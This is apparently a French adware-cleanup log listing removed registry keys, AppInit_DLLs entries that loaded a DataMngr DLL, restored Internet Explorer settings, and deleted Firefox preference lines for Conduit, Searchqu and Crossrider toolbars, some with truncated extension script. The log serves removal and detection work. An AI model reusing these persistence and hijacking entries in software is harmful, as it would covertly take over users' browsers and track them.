    Clé Supprimée : HKCU\Software\DataMngr_Toolbar
    Clé Supprimée : HKCU\Software\filescout
    Clé Supprimée : HKCU\Software\AppDataLow\Software\RewardsArcade
    Clé Supprimée : HKCU\Software\AppDataLow\Software\searchqutoolbar
    Clé Supprimée : HKCU\Software\AppDataLow\Software\SmartBar
    Clé Supprimée : HKLM\Software\AskPartnerNetwork
    Clé Supprimée : HKLM\Software\AVG Nation toolbar
    Clé Supprimée : HKLM\Software\AVG Secure Search
    Clé Supprimée : HKLM\Software\AVG Security Toolbar
    Clé Supprimée : HKLM\Software\DataMngr
    Clé Supprimée : HKLM\Software\EoRezo
    Clé Supprimée : HKLM\Software\IePlugin
    Clé Supprimée : HKLM\Software\ilivid
    Clé Supprimée : HKLM\Software\SearchquMediabarTb
    Clé Supprimée : HKLM\Software\supTab
    Clé Supprimée : HKLM\Software\supWPM
    Clé Supprimée : HKLM\Software\V9Software
    Clé Supprimée : HKLM\Software\Vittalia
    Clé Supprimée : HKLM\Software\WideStream
    Clé Supprimée : HKLM\Software\Wpm
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\RewardsArcade
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{835525BE-63BD-4EC4-9425-00CEAD4849C2}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{8D15E1B2-D2B7-4A17-B44B-D2DDE5981406}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A7BC02AF-1128-4A31-BCF8-1A3EE803D3B3}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A81A974F-8A22-43E6-9243-5198FF758DA1}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ilivid
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Searchqu 406 MediaBar
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SpecialSavings
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\supTab
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Vittalia
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\{835525BE-63BD-4EC4-9425-00CEAD4849C2}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\{A7BC02AF-1128-4A31-BCF8-1A3EE803D3B3}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\{A81A974F-8A22-43E6-9243-5198FF758DA1}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\conduitEngine
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\ilivid
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\RewardsArcade
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\Searchqu 406 MediaBar
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\SpecialSavings
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\Vittalia
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\Wpm
    Donnée Supprimée : HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows [AppInit_DLLs] - C:\PROGRA~1\WI371A~1\Datamngr\datamngr.dll
    Donnée Supprimée : HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows [AppInit_DLLs] - C:\PROGRA~1\WI371A~1\Datamngr\IEBHO.dll
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\02F47BF73B948514FAACADD8CBBDF37D
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\07D5290CDBDAE4242926B8E6CA650501
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\080D9F5E1E95FEE4794CE438E635239E
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\08121C32A9C319F4CB0C11FF059552A4
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\08E33F7B61DEFF24BB9673ED7D467636
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0E3D8A5B48622A445A7DF73FEFF32C3F
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1E264E0A5959A1C46BA9175A878B12EA
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2E6768B6932D112438F047C54D180635
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\34EDDB1BFB3A2D448845F3EFD0F15A43
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\351716A953E21214898904032EAE2E81
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\397C771A7BCAC904697C3EC629ED33ED
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\427EA997C413D1D47907CBFC7B2DB432
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4318DF19719275242801CBE292063A4C
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\45FC115D1FEAEF849A4E1610D6EC8BF0
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\46A5861A389ADB844AF89E31BC9DF0A1
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\49B0E1A6FF50BBE4289E4E23DE6EA0C7
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4CCCAC049F34D0540AAC13011398BEDB
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5C4389D0BFB302C479DE4178BD5D9EBA
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5D2B09BDEF4FE54418E6F3373CDBC7AC
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\61B65D3397A1FBF4CB1571B5E4F6B5B0
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\68E8A05C60DD9254591DBD16C94EDDBF
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\697E782CF574CC34CBB9566440BA12BC
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\69D6A6B2ED56AF24EA6335EAD6E91CA4
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6AE27A8613CF7EA4782F2886F67295E5
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\75D5168E5E176C24981B4E5DBD991078
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7CE172051F585E04187BCB97570BFA74
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7FFA128C2B0FF414D805FC5627883401
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\86A901BA5265452499DCBF719C378EE3
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\86EDC790504E1834DBC20C9A04328FD2
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8724E58E6C7D00C48A0D4F3345EB2C26
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\88ABD1CD5C40EC84789A7F6EF86DAC5E
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\97C3D0F82E712E241A2F969F45E3351C
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\980289C22F80A7C4BB9323DC61255E4E
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\98CC8BF5A4A6E6C4ABF7051DDAB8B058
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9A4B7EF3789F871419D9302583B20C15
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9E7F556BF224D804D96A96F0F6344789
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A189D17A469616C4688D23E192996267
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A6C53B0F76C44004A8F36716213017DB
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AB676B0E1B9EFA049B9F7DDDA9645734
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B31BBB0B825EDEF45AB0FE7099C68C81
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B471D8D7319336B4CA89374ED0D7B806
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B59F2D8189784CC46A4597F2842480B0
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BC30043663AA2CA4DA1DAA9CA5FDCC75
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BD746FB95FB8E5B45BF66BE54D5FD91F
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BF4F885EDEE45644EB1E0C99E0162399
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\CCF399FCD6D2D3F46BF02A1378654FC9
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\CE21F3FD57B244142880EF15A165A156
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D149C1355C98DE24E82CEFBD996FE06A
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D15DAF33C220F91468A1D7D57C31ACD7
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D3BA76A44C779424889063D5098ED2D6
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D6D0EB9FDBD90C04D92A7E729058F10D
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DB59FDB786388EA4D897F3EE715683AC
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DB8DAD19CFBCC2049A4477183787E8C5
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E1C820A74ED67374BA048B52CB3C3804
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E4748F9A4181FCE46A23C13B517B9420
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EC65F200D112357449C8B1BC3CFA03D0
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F327D0C73C0973644A21E8CC852267A0
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F754C503375A13344B22388E18DFE87E
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FA96423FE2B98E248A3B23548D1E22D9
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FDC83385E6C239F4C876A77A37DF581D
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\074A36B543391D44FA16C62EBD65A59E
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\2B1E51D87B2D71A44BB42DDD5E894160
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\F479A18A22A86E3429341589FF57D81A
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\FA20CB7A821113A4CB8FA1E38E303D3B
    Clé Supprimée : HKLM\Software\Classes\Installer\Features\074A36B543391D44FA16C62EBD65A59E
    Clé Supprimée : HKLM\Software\Classes\Installer\Features\2B1E51D87B2D71A44BB42DDD5E894160
    Clé Supprimée : HKLM\Software\Classes\Installer\Features\F479A18A22A86E3429341589FF57D81A
    Clé Supprimée : HKLM\Software\Classes\Installer\Features\FA20CB7A821113A4CB8FA1E38E303D3B
    Clé Supprimée : HKLM\Software\Classes\Installer\Products\074A36B543391D44FA16C62EBD65A59E
    Clé Supprimée : HKLM\Software\Classes\Installer\Products\2B1E51D87B2D71A44BB42DDD5E894160
    Clé Supprimée : HKLM\Software\Classes\Installer\Products\F479A18A22A86E3429341589FF57D81A
    Clé Supprimée : HKLM\Software\Classes\Installer\Products\FA20CB7A821113A4CB8FA1E38E303D3B
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\789034A89BAC50E4782F0A7BDBF75632
    Clé Supprimée : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\A97CEC23332751B47BA4B95BAA50C9D0

    ***** [ Navigateurs ] *****

    -\\ Internet Explorer v7.0.6002.18005

    Paramètre Restauré : HKLM\SOFTWARE\Microsoft\Internet Explorer\Main [Start Page]
    Paramètre Restauré : HKLM\SOFTWARE\Microsoft\Internet Explorer\Main [Default_Search_URL]
    Paramètre Restauré : HKLM\SOFTWARE\Microsoft\Internet Explorer\Main [Search Page]
    Paramètre Restauré : HKLM\SOFTWARE\Microsoft\Internet Explorer\Main [Default_Page_URL]

    -\\ Mozilla Firefox v28.0 (fr)

    [ Fichier : C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js ]

    Ligne Supprimée : user_pref("browser.startup.homepage", "hxxp://www.searchqu.com/406");
    Ligne Supprimée : user_pref("extensions.crossrider.bic", "138e6a93030c04738e490c92e91727c6");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.InstallationThankYouPage", true);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.InstallationTime", 1324812295);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.InstallationUserSettings.searchUserConifrmation", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.InstallationUserSettings.setHomepage", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.InstallationUserSettings.setNewTab", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.InstallationUserSettings.setSearch", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.active", true);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.addressbar", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.affid", "0");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.backgroundjs", "\n//------------------ PLUGIN resources_background START ------------------ ------------------ \n(function(){appAPI.ready=function(a){appAPI.[...]
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.backgroundver", 57);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.certdomaininstaller", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.changeprevious", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie.InstallationTime.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie.InstallationTime.value", "1324812295");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie.InstallerParams.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie.InstallerParams.value", "%7B%22sub_id%22%3A%22default%22%2C%22source_id%22%3A%224cross5a93dbRW1AR24VZ6542%22%2C%22uzid%22%3A%2212475%26subid%3D%26pid%[...]
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_aoi.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_aoi.value", "1324812295");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_currenttime.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_currenttime.value", "%221361059904%22");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_hotfix20111102645.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_hotfix20111102645.value", "%221%22");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_installer_params.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_installer_params.value", "%7B%22sub_id%22%3A%22default%22%2C%22source_id%22%3A%224cross5a93dbRW1AR24VZ6542%22%2C%22uzid%22%3A%2212475%26subid%3D%[...]
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_parent_zoneid.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_parent_zoneid.value", "%2212475%22");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_pc_20120828.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_pc_20120828.value", "1349778389358");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_product_id.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_product_id.value", "%221021%22");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_zoneid.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_zoneid.value", "%2214489%22");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie.dbtest.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie.dbtest.value", "1349778388944");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.description", "RewardsArcade is a platform that allows users to play amazing games against their friends on Facebook and other social platforms.");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.domain", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.emailsig", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.enablesearch", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.exposesites", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.fbremoteurl", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.group", 0);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.homepage", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.iframe", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.js", "\n\n//------------------ USER PLUGIN GPL Plugin (Loader) START ------------------\nArray.prototype.indexOf||(Array.prototype.indexOf=function(b){if(vo[...]
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.manifesturl", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.name", "RewardsArcade");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.newtab", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.opensearch", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.premium", true);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.publisher", "Innovative Apps");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.searchstatus", 0);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.setnewtab", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.settingsurl", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.thankyou", "hxxp://www.rewardsarcade.com/r.php?app_id=498");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.updateinterval", 360);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.ver", 185);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.apps", "498");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.bic", "138e6a93030c04738e490c92e91727c6");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.cid", 498);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.firstrun", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.hadappinstalled", true);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.installationdate", 1343899644);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.jsver", 3);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.lastcheck", 23222003);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.lastcheckitem", 23222189);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.misc.lastBgWorkerTimer", "1393331529777");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.misc.lastDomWorkerTimer", "1393331529771");
    Ligne Supprimée : user_pref("keyword.URL", "hxxp://www.searchqu.com/web?src=ffb&systemid=406&q=");

    [ Fichier : C:\Users\Théodora\AppData\Roaming\Mozilla\Firefox\Profiles\8ldk3ekp.default\prefs.js ]

    Ligne Supprimée : user_pref("CT2504091.AboutPrivacyUrl", "hxxp://www.conduit.com/privacy/Default.aspx");
    Ligne Supprimée : user_pref("CT2504091.CTID", "CT2504091");
    Ligne Supprimée : user_pref("CT2504091.CurrentServerDate", "22-3-2011");
    Ligne Supprimée : user_pref("CT2504091.DialogsAlignMode", "LTR");
    Ligne Supprimée : user_pref("CT2504091.DownloadReferralCookieData", "");
    Ligne Supprimée : user_pref("CT2504091.EMailNotifierPollDate", "Tue Mar 22 2011 09:08:38 GMT+0100");
    Ligne Supprimée : user_pref("CT2504091.FeedLastCount129079840422964131", 10);
    Ligne Supprimée : user_pref("CT2504091.FeedPollDate128891351169457140", "Tue Mar 22 2011 08:58:36 GMT+0100");
    Ligne Supprimée : user_pref("CT2504091.FeedPollDate129079840422964131", "Tue Mar 22 2011 08:58:36 GMT+0100");
    Ligne Supprimée : user_pref("CT2504091.FeedTTL128891351169457140", 40);
    Ligne Supprimée : user_pref("CT2504091.FirstServerDate", "8-2-2011");
    Ligne Supprimée : user_pref("CT2504091.FirstTime", true);
    Ligne Supprimée : user_pref("CT2504091.FirstTimeFF3", true);
    Ligne Supprimée : user_pref("CT2504091.FirstTimeSettingsDone", true);
    Ligne Supprimée : user_pref("CT2504091.FixPageNotFoundErrors", true);
    Ligne Supprimée : user_pref("CT2504091.GroupingServerCheckInterval", 1440);
    Ligne Supprimée : user_pref("CT2504091.GroupingServiceUrl", "hxxp://grouping.services.conduit.com/");
    Ligne Supprimée : user_pref("CT2504091.Initialize", true);
    Ligne Supprimée : user_pref("CT2504091.InitializeCommonPrefs", true);
    Ligne Supprimée : user_pref("CT2504091.InstallationAndCookieDataSentCount", 3);
    Ligne Supprimée : user_pref("CT2504091.InstallationType", "UnknownIntegration");
    Ligne Supprimée : user_pref("CT2504091.InstalledDate", "Tue Feb 08 2011 09:33:28 GMT+0100");
    Ligne Supprimée : user_pref("CT2504091.IsGrouping", false);
    Ligne Supprimée : user_pref("CT2504091.IsMulticommunity", false);
    Ligne Supprimée : user_pref("CT2504091.IsOpenThankYouPage", false);
    Ligne Supprimée : user_pref("CT2504091.IsOpenUninstallPage", false);
    Ligne Supprimée : user_pref("CT2504091.LanguagePackLastCheckTime", "Tue Mar 22 2011 08:58:36 GMT+0100");
    Ligne Supprimée : user_pref("CT2504091.LanguagePackReloadIntervalMM", 1440);
    Ligne Supprimée : user_pref("CT2504091.LanguagePackServiceUrl", "hxxp://translation.users.conduit.com/Translation.ashx");
    Ligne Supprimée : user_pref("CT2504091.LastLogin_2.7.2.0", "Tue Mar 22 2011 08:58:36 GMT+0100");
    Ligne Supprimée : user_pref("CT2504091.LatestVersion", "2.7.2.0");
    Ligne Supprimée : user_pref("CT2504091.Locale", "en-us");
    Ligne Supprimée : user_pref("CT2504091.LoginCache", 4);
    Ligne Supprimée : user_pref("CT2504091.MCDetectTooltipHeight", "83");
    Ligne Supprimée : user_pref("CT2504091.MCDetectTooltipUrl", "hxxp://@EB_INSTALL_LINK@/rank/tooltip/?version=1");
    Ligne Supprimée : user_pref("CT2504091.MCDetectTooltipWidth", "295");
    Ligne Supprimée : user_pref("CT2504091.SearchEngine", "Search||hxxp://search.conduit.com/Results.aspx?q=UCM_SEARCH_TERM&ctid=CT2504091&octid=EB_ORIGINAL_CTID&SearchSource=1");
    Ligne Supprimée : user_pref("CT2504091.SearchFromAddressBarIsInit", true);
    Ligne Supprimée : user_pref("CT2504091.SearchFromAddressBarUrl", "hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2504091&q=");
    Ligne Supprimée : user_pref("CT2504091.SearchInNewTabEnabled", true);
    Ligne Supprimée : user_pref("CT2504091.SearchInNewTabIntervalMM", 1440);
    Ligne Supprimée : user_pref("CT2504091.SearchInNewTabLastCheckTime", "Tue Mar 22 2011 08:58:35 GMT+0100");
    Ligne Supprimée : user_pref("CT2504091.SearchInNewTabServiceUrl", "hxxp://newtab.conduit-hosting.com/newtab/?ctid=EB_TOOLBAR_ID");
    Ligne Supprimée : user_pref("CT2504091.SearchInNewTabUsageUrl", "hxxp://Usage.Hosting.conduit-services.com/UsageService.asmx/UsersRequests?ctid=EB_TOOLBAR_ID");
    Ligne Supprimée : user_pref("CT2504091.SettingsCheckIntervalMin", 120);
    Ligne Supprimée : user_pref("CT2504091.SettingsLastCheckTime", "Tue Mar 22 2011 08:58:35 GMT+0100");
    Ligne Supprimée : user_pref("CT2504091.SettingsLastUpdate", "1297858754");
    Ligne Supprimée : user_pref("CT2504091.ThirdPartyComponentsInterval", 504);
    Ligne Supprimée : user_pref("CT2504091.ThirdPartyComponentsLastCheck", "Tue Mar 22 2011 08:58:35 GMT+0100");
    Ligne Supprimée : user_pref("CT2504091.ThirdPartyComponentsLastUpdate", "1246790578");
    Ligne Supprimée : user_pref("CT2504091.TrusteLinkUrl", "hxxp://trust.conduit.com/EB_ORIGINAL_CTID");
    Ligne Supprimée : user_pref("CT2504091.UserID", "UN62477144507063756");
    Ligne Supprimée : user_pref("CT2504091.alertChannelId", "897164");
    Ligne Supprimée : user_pref("CT2504091.clientLogIsEnabled", false);
    Ligne Supprimée : user_pref("CT2504091.clientLogServiceUrl", "hxxp://clientlog.users.conduit.com/ClientDiagnostics.asmx/ReportDiagnosticsEvent");
    Ligne Supprimée : user_pref("CT2504091.myStuffEnabled", true);
    Ligne Supprimée : user_pref("CT2504091.myStuffPublihserMinWidth", 400);
    Ligne Supprimée : user_pref("CT2504091.myStuffSearchUrl", "hxxp://Apps.conduit.com/search?q=SEARCH_TERM&SearchSourceOrigin=29&ctid=EB_TOOLBAR_ID&octid=EB_ORIGINAL_CTID");
    Ligne Supprimée : user_pref("CT2504091.myStuffServiceIntervalMM", 1440);
    Ligne Supprimée : user_pref("CT2504091.myStuffServiceUrl", "hxxp://mystuff.conduit-services.com/MyStuffService.ashx?ComponentId=EB_MY_STUFF_INSTANCE_GUID&lut=EB_MY_STUFF_LUT");
    Ligne Supprimée : user_pref("CT2504091.uninstallLogServiceUrl", "hxxp://uninstall.users.conduit.com/Uninstall.asmx/RegisterToolbarUninstallation");
    Ligne Supprimée : user_pref("CommunityToolbar.SearchFromAddressBarSavedUrl", "chrome://browser-region/locale/region.properties");
    Ligne Supprimée : user_pref("CommunityToolbar.ToolbarsList", "CT2504091");
    Ligne Supprimée : user_pref("CommunityToolbar.ToolbarsList2", "CT2504091");
    Ligne Supprimée : user_pref("browser.search.order.1", "Web Search");
    Ligne Supprimée : user_pref("browser.startup.homepage", "hxxp://www.searchqu.com/406");
    Ligne Supprimée : user_pref("extensions.crossrider.bic", "1353a06a2f290f468bac1dcd964a1302");
